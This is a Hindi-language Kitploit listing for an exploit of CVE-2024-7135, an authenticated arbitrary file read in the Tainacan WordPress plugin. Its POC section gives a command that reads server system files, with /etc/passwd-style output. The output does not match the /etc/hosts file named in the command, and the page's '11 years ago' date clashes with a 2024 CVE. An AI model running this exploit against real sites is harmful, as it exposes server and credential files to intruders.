Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2024-7135 — Tainacan <= 0.21.7 - प्रमाणित (सब्सक्राइबर+) से मनमानी फ़ाइल पढ़ने के लिए अधिकार की कमी | Kitploit
उपकरण/GitHubGitHub/randomrobbiebf/cve-2024-7135
भेद्यता विश्लेषणकोड विश्लेषणशोषणवेब एप्लिकेशन शोषणजानकारी एकत्र करनापेनिट्रेशन टेस्टिंग
GitHubrandomrobbiebf/cve-2024-7135

CVE-2024-7135

Tainacan <= 0.21.7 - प्रमाणित (सब्सक्राइबर+) से मनमानी फ़ाइल पढ़ने के लिए अधिकार की कमी

रिपॉजिटरी देखें
11 साल पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

CVE-2024-7135

Tainacan <= 0.21.7 - प्रमाणित उपयोगकर्ताओं (सब्सक्राइबर+) द्वारा आर्बिट्रेरी फ़ाइल रीड के लिए लापता प्राधिकरण

विवरण

WordPress के लिए Tainacan प्लगइन 0.21.7 तक के सभी संस्करणों में 'get_file' फ़ंक्शन पर क्षमता जाँच की कमी के कारण डेटा के अनधिकृत अभिगम के लिए संवेदनशील है। यह फ़ंक्शन डायरेक्टरी ट्रैवर्सल के लिए भी संवेदनशील है। इससे प्रमाणित हमलावर, सब्सक्राइबर-स्तर और उससे ऊपर की पहुँच वाले, सर्वर पर मनमानी फ़ाइलों की सामग्री पढ़ सकते हैं, जिनमें संवेदनशील जानकारी हो सकती है।

जानकारी

root@kitploit:~
प्रकार: प्लगइन
CVSS स्कोर: 6.5
CVE: CVE-2024-7135
लिंक: https://downloads.wordpress.org/plugin/tainacan.0.21.7.zip

POC

root@kitploit:~
python3 CVE-2024-7135.py -un user -p user --url http://kubernetes.docker.internal -f /etc/hosts

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
_apt:x:42:65534::/nonexistent:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin

टूल डाउनलोड करें